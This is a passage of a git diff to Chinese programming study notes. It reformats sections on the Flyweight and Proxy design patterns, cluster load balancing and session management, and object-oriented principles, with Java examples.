-    public static void main(String[] args) {
-        FlyweightFactory factory = new FlyweightFactory();
-        Flyweight flyweight1 = factory.getFlyweight("aa");
-        Flyweight flyweight2 = factory.getFlyweight("aa");
-        flyweight1.doOperation("x");
-        flyweight2.doOperation("y");
-    }
+    public static void main(String[] args) {
+        FlyweightFactory factory = new FlyweightFactory();
+        Flyweight flyweight1 = factory.getFlyweight("aa");
+        Flyweight flyweight2 = factory.getFlyweight("aa");
+        flyweight1.doOperation("x");
+        flyweight2.doOperation("y");
+    }
 }
 ```
 
 ```html
-Object address: 1163157884
-IntrinsicState: aa
-ExtrinsicState: x
-Object address: 1163157884
-IntrinsicState: aa
-ExtrinsicState: y
+Object address: 1163157884
+IntrinsicState: aa
+ExtrinsicState: x
+Object address: 1163157884
+IntrinsicState: aa
+ExtrinsicState: y
 ```
 
-### JDK
+### JDK
 
-Java 利用缓存来加速大量小对象的访问时间。
+Java 利用缓存来加速大量小对象的访问时间。
 
-- java.lang.Integer#valueOf(int)
-- java.lang.Boolean#valueOf(boolean)
-- java.lang.Byte#valueOf(byte)
-- java.lang.Character#valueOf(char)
+- java.lang.Integer#valueOf(int)
+- java.lang.Boolean#valueOf(boolean)
+- java.lang.Byte#valueOf(byte)
+- java.lang.Character#valueOf(char)
 
-## 7. 代理（Proxy）
+## 7. 代理（Proxy）
 
-### Intent
+### Intent
 
 控制对其它对象的访问。
 
-### Class Diagram
+### Class Diagram
 
 代理有以下四类：
 
-- 远程代理（Remote Proxy）：控制对远程对象（不同地址空间）的访问，它负责将请求及其参数进行编码，并向不同地址空间中的对象发送已经编码的请求。
-- 虚拟代理（Virtual Proxy）：根据需要创建开销很大的对象，它可以缓存实体的附加信息，以便延迟对它的访问，例如在网站加载一个很大图片时，不能马上完成，可以用虚拟代理缓存图片的大小信息，然后生成一张临时图片代替原始图片。
-- 保护代理（Protection Proxy）：按权限控制对象的访问，它负责检查调用者是否具有实现一个请求所必须的访问权限。
-- 智能代理（Smart Reference）：取代了简单的指针，它在访问对象时执行一些附加操作：记录对象的引用次数；当第一次引用一个对象时，将它装入内存；在访问一个实际对象前，检查是否已经锁定了它，以确保其它对象不能改变它。
+- 远程代理（Remote Proxy）：控制对远程对象（不同地址空间）的访问，它负责将请求及其参数进行编码，并向不同地址空间中的对象发送已经编码的请求。
+- 虚拟代理（Virtual Proxy）：根据需要创建开销很大的对象，它可以缓存实体的附加信息，以便延迟对它的访问，例如在网站加载一个很大图片时，不能马上完成，可以用虚拟代理缓存图片的大小信息，然后生成一张临时图片代替原始图片。
+- 保护代理（Protection Proxy）：按权限控制对象的访问，它负责检查调用者是否具有实现一个请求所必须的访问权限。
+- 智能代理（Smart Reference）：取代了简单的指针，它在访问对象时执行一些附加操作：记录对象的引用次数；当第一次引用一个对象时，将它装入内存；在访问一个实际对象前，检查是否已经锁定了它，以确保其它对象不能改变它。
 
-![](index_files/a6c20f60-5eba-427d-9413-352ada4b40fe.png)
+<div align="center"> <img src="pics/a6c20f60-5eba-427d-9413-352ada4b40fe.png"/> </div><br>
 
-### Implementation
+### Implementation
 
 以下是一个虚拟代理的实现，模拟了图片延迟加载的情况下使用与图片大小相等的临时内容去替换原始图片，直到图片加载完成才将图片显示出来。
 
 ```java
-public interface Image {
-    void showImage();
+public interface Image {
+    void showImage();
 }
 ```
 
 ```java
-public class HighResolutionImage implements Image {
+public class HighResolutionImage implements Image {
 
-    private URL imageURL;
-    private long startTime;
-    private int height;
-    private int width;
+    private URL imageURL;
+    private long startTime;
+    private int height;
+    private int width;
 
-    public int getHeight() {
-        return height;
-    }
+    public int getHeight() {
+        return height;
+    }
 
-    public int getWidth() {
-        return width;
-    }
+    public int getWidth() {
+        return width;
+    }
 
-    public HighResolutionImage(URL imageURL) {
-        this.imageURL = imageURL;
-        this.startTime = System.currentTimeMillis();
-        this.width = 600;
-        this.height = 600;
-    }
+    public HighResolutionImage(URL imageURL) {
+        this.imageURL = imageURL;
+        this.startTime = System.currentTimeMillis();
+        this.width = 600;
+        this.height = 600;
+    }
 
-    public boolean isLoad() {
-        // 模拟图片加载，延迟 3s 加载完成
-        long endTime = System.currentTimeMillis();
-        return endTime - startTime > 3000;
-    }
+    public boolean isLoad() {
+        // 模拟图片加载，延迟 3s 加载完成
+        long endTime = System.currentTimeMillis();
+        return endTime - startTime > 3000;
+    }
 
-    @Override
-    public void showImage() {
-        System.out.println("Real Image: " + imageURL);
-    }
+    @Override
+    public void showImage() {
+        System.out.println("Real Image: " + imageURL);
+    }
 }
 ```
 
 ```java
-public class ImageProxy implements Image {
+public class ImageProxy implements Image {
 
-    private HighResolutionImage highResolutionImage;
+    private HighResolutionImage highResolutionImage;
 
-    public ImageProxy(HighResolutionImage highResolutionImage) {
-        this.highResolutionImage = highResolutionImage;
-    }
+    public ImageProxy(HighResolutionImage highResolutionImage) {
+        this.highResolutionImage = highResolutionImage;
+    }
 
-    @Override
-    public void showImage() {
-        while (!highResolutionImage.isLoad()) {
-            try {
-                System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight());
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        highResolutionImage.showImage();
-    }
+    @Override
+    public void showImage() {
+        while (!highResolutionImage.isLoad()) {
+            try {
+                System.out.println("Temp Image: " + highResolutionImage.getWidth() + " " + highResolutionImage.getHeight());
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+        highResolutionImage.showImage();
+    }
 }
 ```
 
 ```java
-public class ImageViewer {
+public class ImageViewer {
 
-    public static void main(String[] args) throws Exception {
-        String image = "http://image.jpg";
-        URL url = new URL(image);
-        HighResolutionImage highResolutionImage = new HighResolutionImage(url);
-        ImageProxy imageProxy = new ImageProxy(highResolutionImage);
-        imageProxy.showImage();
-    }
+    public static void main(String[] args) throws Exception {
+        String image = "http://image.jpg";
+        URL url = new URL(image);
+        HighResolutionImage highResolutionImage = new HighResolutionImage(url);
+        ImageProxy imageProxy = new ImageProxy(highResolutionImage);
+        imageProxy.showImage();
+    }
 }
 ```
 
-### JDK
+### JDK
 
-- java.lang.reflect.Proxy
-- RMI
+- java.lang.reflect.Proxy
+- RMI
 
-# 参考资料
+# 参考资料
 
-- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
-- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
-- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
-- [Design Patterns](http://www.oodesign.com/)
-- [Design patterns implemented in Java](http://java-design-patterns.com/)
-- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
----bottom---CyC---
-![](index_files/562f2844-d77c-40e0-887a-28a7128abd42.png)
-![](index_files/c79da808-0f28-4a36-bc04-33ccc5b83c13.png)
-![](index_files/1818e141-8700-4026-99f7-900a545875f5.png)
-![](index_files/8668a3e1-c9c7-4fcb-98b2-a96a5d841579.png)
-![](index_files/13b0940e-d1d7-4b17-af4f-b70cb0a75e08.png)
-![](index_files/a40661e4-1a71-46d2-a158-ff36f7fc3331.png)
-![](index_files/691f11eb-31a7-46be-9de1-61f433c4b3c7.png)
-![](index_files/ae1b27b8-bc13-42e7-ac12-a2242e125499.png)
-![](index_files/e6bded8e-41a0-489a-88a6-638e88ab7666.jpg)
-![](index_files/794239e3-4baf-4aad-92df-f02f59b2a6fe.png)
-![](index_files/b0f61ac2-a4b6-4042-9cf0-ccf4238c1ff7.png)
-![](index_files/d0afdd23-c9a5-4d1c-9b3d-404bff3bd0d1.png)
-![](index_files/82cfda3b-b53b-4c89-9fdb-26dd2db0cd02.jpg)
-![](index_files/5359cbf5-5a79-4874-9b17-f23c53c2cb80.jpg)
-![](index_files/867e93eb-3161-4f39-b2d2-c0cd3788e194.png)
-![](index_files/7a3c6a30-c735-4edb-8115-337288a4f0f2.jpg)
-![](index_files/48a934ff-a29b-434c-8e1d-8c8ec20cb91d.png)
-![](index_files/b1df9732-86ce-4d69-9f06-fba1db7b3b5a.jpg)
-![](index_files/abb3e0d1-c1bd-45d0-8190-73c74a9f6679.png)
-![](index_files/396be981-3f2c-4fd9-8101-dbf9c841504b.jpg)
-![](index_files/b8dd708d-f372-4b04-b828-1dd99021c244.png)
-![](index_files/c3c1c0e8-3a78-4426-961f-b46dd0879dd8.png)
-![](index_files/11236498-1417-46ce-a1b0-e10054256955.png)
-![](index_files/ec923dc7-864c-47b0-a411-1f2c48d084de.png)
-![](index_files/dd3b289c-d90e-44a6-a44c-4880517eb1de.png)
-![](index_files/3d5b828e-5c4d-48d8-a440-281e4a8e1c92.png)
-![](index_files/0f754c1d-b5cb-48cd-90e0-4a86034290a1.png)
-![](index_files/c2cbf5d2-82af-4c78-bd43-495da5adf55f.png)
-![](index_files/3fb5b255-b791-45b6-8754-325c8741855a.png)
-![](index_files/137c593d-0a9e-47b8-a9e6-b71f540b82dd.png)
-![](index_files/c9cfd600-bc91-4f3a-9f99-b42f88a5bb24.jpg)
-![](index_files/f9978fa6-9f49-4a0f-8540-02d269ac448f.png)
-![](index_files/d52270b4-9097-4667-9f18-f405fc661c99.png)
-![](index_files/a6c20f60-5eba-427d-9413-352ada4b40fe.png)
-![](index_files/f8b3f73d-0fda-449f-b55b-fa36b7ac04cd.png)
\ No newline at end of file
+- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
+- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
+- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
+- [Design Patterns](http://www.oodesign.com/)
+- [Design patterns implemented in Java](http://java-design-patterns.com/)
+- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 91e691e2..f42524b7 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,16 @@
-# 一、负载均衡
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、负载均衡](#一负载均衡)
+    * [负载均衡算法](#负载均衡算法)
+    * [转发实现](#转发实现)
+* [二、集群下的 Session 管理](#二集群下的-session-管理)
+    * [Sticky Session](#sticky-session)
+    * [Session Replication](#session-replication)
+    * [Session Server](#session-server)
+<!-- GFM-TOC -->
+
+
+# 一、负载均衡
 
 集群中的应用服务器（节点）通常被设计成无状态，用户可以请求任何一个节点。
 
@@ -6,186 +18,186 @@
 
 负载均衡器可以用来实现高可用以及伸缩性：
 
-- 高可用：当某个节点故障时，负载均衡器会将用户请求转发到另外的节点上，从而保证所有服务持续可用；
-- 伸缩性：根据系统整体负载情况，可以很容易地添加或移除节点。
+- 高可用：当某个节点故障时，负载均衡器会将用户请求转发到另外的节点上，从而保证所有服务持续可用；
+- 伸缩性：根据系统整体负载情况，可以很容易地添加或移除节点。
 
 负载均衡器运行过程包含两个部分：
 
-1. 根据负载均衡算法得到转发的节点；
-2. 进行转发。
+1. 根据负载均衡算法得到转发的节点；
+2. 进行转发。
 
-## 负载均衡算法
+## 负载均衡算法
 
-### 1. 轮询（Round Robin）
+### 1. 轮询（Round Robin）
 
 轮询算法把每个请求轮流发送到每个服务器上。
 
-下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
+下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
 
-![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
+<div align="center"> <img src="pics/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
 
-该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
+该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
 
-![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
+<div align="center"> <img src="pics/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
 
-### 2. 加权轮询（Weighted Round Robbin）
+### 2. 加权轮询（Weighted Round Robbin）
 
 加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。
 
-例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
+例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
 
-![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
+<div align="center"> <img src="pics/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
 
-### 3. 最少连接（least Connections）
+### 3. 最少连接（least Connections）
 
 由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。
 
-例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开，此时 (6, 4) 请求连接服务器 2。该系统继续运行时，服务器 2 会承担过大的负载。
+例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开，此时 (6, 4) 请求连接服务器 2。该系统继续运行时，服务器 2 会承担过大的负载。
 
-![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
+<div align="center"> <img src="pics/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
 
 最少连接算法就是将请求发送给当前最少连接数的服务器上。
 
-例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
+例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
 
-![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
+<div align="center"> <img src="pics/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
 
-### 4. 加权最少连接（Weighted Least Connection）
+### 4. 加权最少连接（Weighted Least Connection）
 
 在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
 
-![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
+<div align="center"> <img src="pics/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
 
-### 5. 随机算法（Random）
+### 5. 随机算法（Random）
 
 把请求随机发送到服务器上。
 
 和轮询算法类似，该算法比较适合服务器性能差不多的场景。
 
-![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
+<div align="center"> <img src="pics/0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
 
-### 6. 源地址哈希法 (IP Hash)
+### 6. 源地址哈希法 (IP Hash)
 
-源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
+源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
 
-可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
+可以保证同一 IP 的客户端的请求会转发到同一台服务器上，用来实现会话粘滞（Sticky Session）
 
-![](index_files/2018040302.jpg)
+<div align="center"> <img src="pics/2018040302.jpg"/> </div><br>
 
-## 转发实现
+## 转发实现
 
-### 1. HTTP 重定向
+### 1. HTTP 重定向
 
-HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
+HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
 
 缺点：
 
-- 需要两次请求，因此访问延迟比较高；
-- HTTP 负载均衡器处理能力有限，会限制集群的规模。
+- 需要两次请求，因此访问延迟比较高；
+- HTTP 负载均衡器处理能力有限，会限制集群的规模。
 
 该负载均衡转发的缺点比较明显，实际场景中很少使用它。
 
-![](index_files/c5f611f0-fd5c-4158-9003-278141136e6e.jpg)
+<div align="center"> <img src="pics/c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
 
-### 2. DNS 域名解析
+### 2. DNS 域名解析
 
-在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
+在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
 
 优点：
 
-- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
+- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
 
 缺点：
 
-- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
+- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效。
 
-大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
+大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
 
-![](index_files/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg)
+<div align="center"> <img src="pics/76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
 
-### 3. 反向代理服务器
+### 3. 反向代理服务器
 
 反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
 
-在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
+在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
 
 优点：
 
-- 与其它功能集成在一起，部署简单。
+- 与其它功能集成在一起，部署简单。
 
 缺点：
 
-- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
+- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
 
-### 4. 网络层
+### 4. 网络层
 
-在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
+在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
 
 源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
 
 优点：
 
-- 在内核进程中进行处理，性能比较高。
+- 在内核进程中进行处理，性能比较高。
 
 缺点：
 
-- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
+- 和反向代理一样，所有的请求和响应都经过负载均衡服务器，会成为性能瓶颈。
 
-### 5. 链路层
+### 5. 链路层
 
-在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
+在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
 
-通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，可以直接转发给客户端，避免了负载均衡服务器的成为瓶颈。
+通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，可以直接转发给客户端，避免了负载均衡服务器的成为瓶颈。
 
 这是一种三角传输模式，被称为直接路由。对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
 
-这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
+这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用的负载均衡服务器为 LVS（Linux Virtual Server）。
 
 参考：
 
-- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
-- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
+- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
+- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
 
-# 二、集群下的 Session 管理
+# 二、集群下的 Session 管理
 
-一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
+一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
 
-## Sticky Session
+## Sticky Session
 
-需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
+需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
 
 缺点：
 
-- 当服务器宕机时，将丢失该服务器上的所有 Session。
+- 当服务器宕机时，将丢失该服务器上的所有 Session。
 
-![](index_files/MultiNode-StickySessions.jpg)
+<div align="center"> <img src="pics/MultiNode-StickySessions.jpg"/> </div><br>
 
-## Session Replication
+## Session Replication
 
-在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
+在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
 
 缺点：
 
-- 占用过多内存；
-- 同步过程占用网络带宽以及服务器处理器时间。
+- 占用过多内存；
+- 同步过程占用网络带宽以及服务器处理器时间。
 
-![](index_files/MultiNode-SessionReplication.jpg)
+<div align="center"> <img src="pics/MultiNode-SessionReplication.jpg"/> </div><br>
 
-## Session Server
+## Session Server
 
-使用一个单独的服务器存储 Session 数据，可以使用传统的 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
+使用一个单独的服务器存储 Session 数据，可以使用传统的 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
 
 优点：
 
-- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
+- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
 
 缺点：
 
-- 需要去实现存取 Session 的代码。
+- 需要去实现存取 Session 的代码。
 
-![](index_files/MultiNode-SpringSession.jpg)
+<div align="center"> <img src="pics/MultiNode-SpringSession.jpg"/> </div><br>
 
 参考：
 
-- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
+- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
 
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 7ad73eec..ba7fe359 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,340 +1,360 @@
-# 一、三大特性
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、三大特性](#一三大特性)
+    * [封装](#封装)
+    * [继承](#继承)
+    * [多态](#多态)
+* [二、类图](#二类图)
+    * [泛化关系 (Generalization)](#泛化关系-generalization)
+    * [实现关系 (Realization)](#实现关系-realization)
+    * [聚合关系 (Aggregation)](#聚合关系-aggregation)
+    * [组合关系 (Composition)](#组合关系-composition)
+    * [关联关系 (Association)](#关联关系-association)
+    * [依赖关系 (Dependency)](#依赖关系-dependency)
+* [三、设计原则](#三设计原则)
+    * [S.O.L.I.D](#solid)
+    * [其他常见原则](#其他常见原则)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 封装
+
+# 一、三大特性
+
+## 封装
 
 利用抽象数据类型将数据和基于数据的操作封装在一起，使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部，尽可能地隐藏内部的细节，只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节，但可以通过对象对外提供的接口来访问该对象。
 
 优点：
 
-- 减少耦合：可以独立地开发、测试、优化、使用、理解和修改
-- 减轻维护的负担：可以更容易被程序员理解，并且在调试的时候可以不影响其他模块
-- 有效地调节性能：可以通过剖析确定哪些模块影响了系统的性能
-- 提高软件的可重用性
-- 降低了构建大型系统的风险：即使整个系统不可用，但是这些独立的模块却有可能是可用的
+- 减少耦合：可以独立地开发、测试、优化、使用、理解和修改
+- 减轻维护的负担：可以更容易被程序员理解，并且在调试的时候可以不影响其他模块
+- 有效地调节性能：可以通过剖析确定哪些模块影响了系统的性能
+- 提高软件的可重用性
+- 降低了构建大型系统的风险：即使整个系统不可用，但是这些独立的模块却有可能是可用的
 
-以下 Person 类封装 name、gender、age 等属性，外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性，而无法获取 age 属性，但是 age 属性可以供 work() 方法使用。
+以下 Person 类封装 name、gender、age 等属性，外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性，而无法获取 age 属性，但是 age 属性可以供 work() 方法使用。
 
-注意到 gender 属性使用 int 数据类型进行存储，封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时，也可以在不影响客户端代码的情况下进行。
+注意到 gender 属性使用 int 数据类型进行存储，封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时，也可以在不影响客户端代码的情况下进行。
 
 ```java
-public class Person {
+public class Person {
 
-    private String name;
-    private int gender;
-    private int age;
+    private String name;
+    private int gender;
+    private int age;
 
-    public String getName() {
-        return name;
-    }
+    public String getName() {
+        return name;
+    }
 
-    public String getGender() {
-        return gender == 0 ? "man" : "woman";
-    }
+    public String getGender() {
+        return gender == 0 ? "man" : "woman";
+    }
 
-    public void work() {
-        if (18 <= age && age <= 50) {
-            System.out.println(name + " is working very hard!");
-        } else {
-            System.out.println(name + " can't work any more!");
-        }
-    }
+    public void work() {
+        if (18 <= age && age <= 50) {
+            System.out.println(name + " is working very hard!");
+        } else {
+            System.out.println(name + " can't work any more!");
+        }
+    }
 }
 ```
 
-## 继承
+## 继承
 
-继承实现了 **IS-A** 关系，例如 Cat 和 Animal 就是一种 IS-A 关系，因此 Cat 可以继承自 Animal，从而获得 Animal 非 private 的属性和方法。
+继承实现了  **IS-A**  关系，例如 Cat 和 Animal 就是一种 IS-A 关系，因此 Cat 可以继承自 Animal，从而获得 Animal 非 private 的属性和方法。
 
 继承应该遵循里氏替换原则，子类对象必须能够替换掉所有父类对象。
 
-Cat 可以当做 Animal 来使用，也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**。
+Cat 可以当做 Animal 来使用，也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为  **向上转型** 。
 
 ```java
-Animal animal = new Cat();
+Animal animal = new Cat();
 ```
 
-## 多态
+## 多态
 
 多态分为编译时多态和运行时多态：
 
-- 编译时多态主要指方法的重载
-- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
+- 编译时多态主要指方法的重载
+- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
 
 运行时多态有三个条件：
 
-- 继承
-- 覆盖（重写）
-- 向上转型
+- 继承
+- 覆盖（重写）
+- 向上转型
 
-下面的代码中，乐器类（Instrument）有两个子类：Wind 和 Percussion，它们都覆盖了父类的 play() 方法，并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时，会执行实际引用对象所在类的 play() 方法，而不是 Instrument 类的方法。
+下面的代码中，乐器类（Instrument）有两个子类：Wind 和 Percussion，它们都覆盖了父类的 play() 方法，并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时，会执行实际引用对象所在类的 play() 方法，而不是 Instrument 类的方法。
 
 ```java
-public class Instrument {
+public class Instrument {
 
-    public void play() {
-        System.out.println("Instument is playing...");
-    }
+    public void play() {
+        System.out.println("Instument is playing...");
+    }
 }
 
-public class Wind extends Instrument {
+public class Wind extends Instrument {
 
-    public void play() {
-        System.out.println("Wind is playing...");
-    }
+    public void play() {
+        System.out.println("Wind is playing...");
+    }
 }
 
-public class Percussion extends Instrument {
+public class Percussion extends Instrument {
 
-    public void play() {
-        System.out.println("Percussion is playing...");
-    }
+    public void play() {
+        System.out.println("Percussion is playing...");
+    }
 }
 
-public class Music {
+public class Music {
 
-    public static void main(String[] args) {
-        List<Instrument> instruments = new ArrayList<>();
-        instruments.add(new Wind());
-        instruments.add(new Percussion());
-        for(Instrument instrument : instruments) {
-            instrument.play();
-        }
-    }
+    public static void main(String[] args) {
+        List<Instrument> instruments = new ArrayList<>();
+        instruments.add(new Wind());
+        instruments.add(new Percussion());
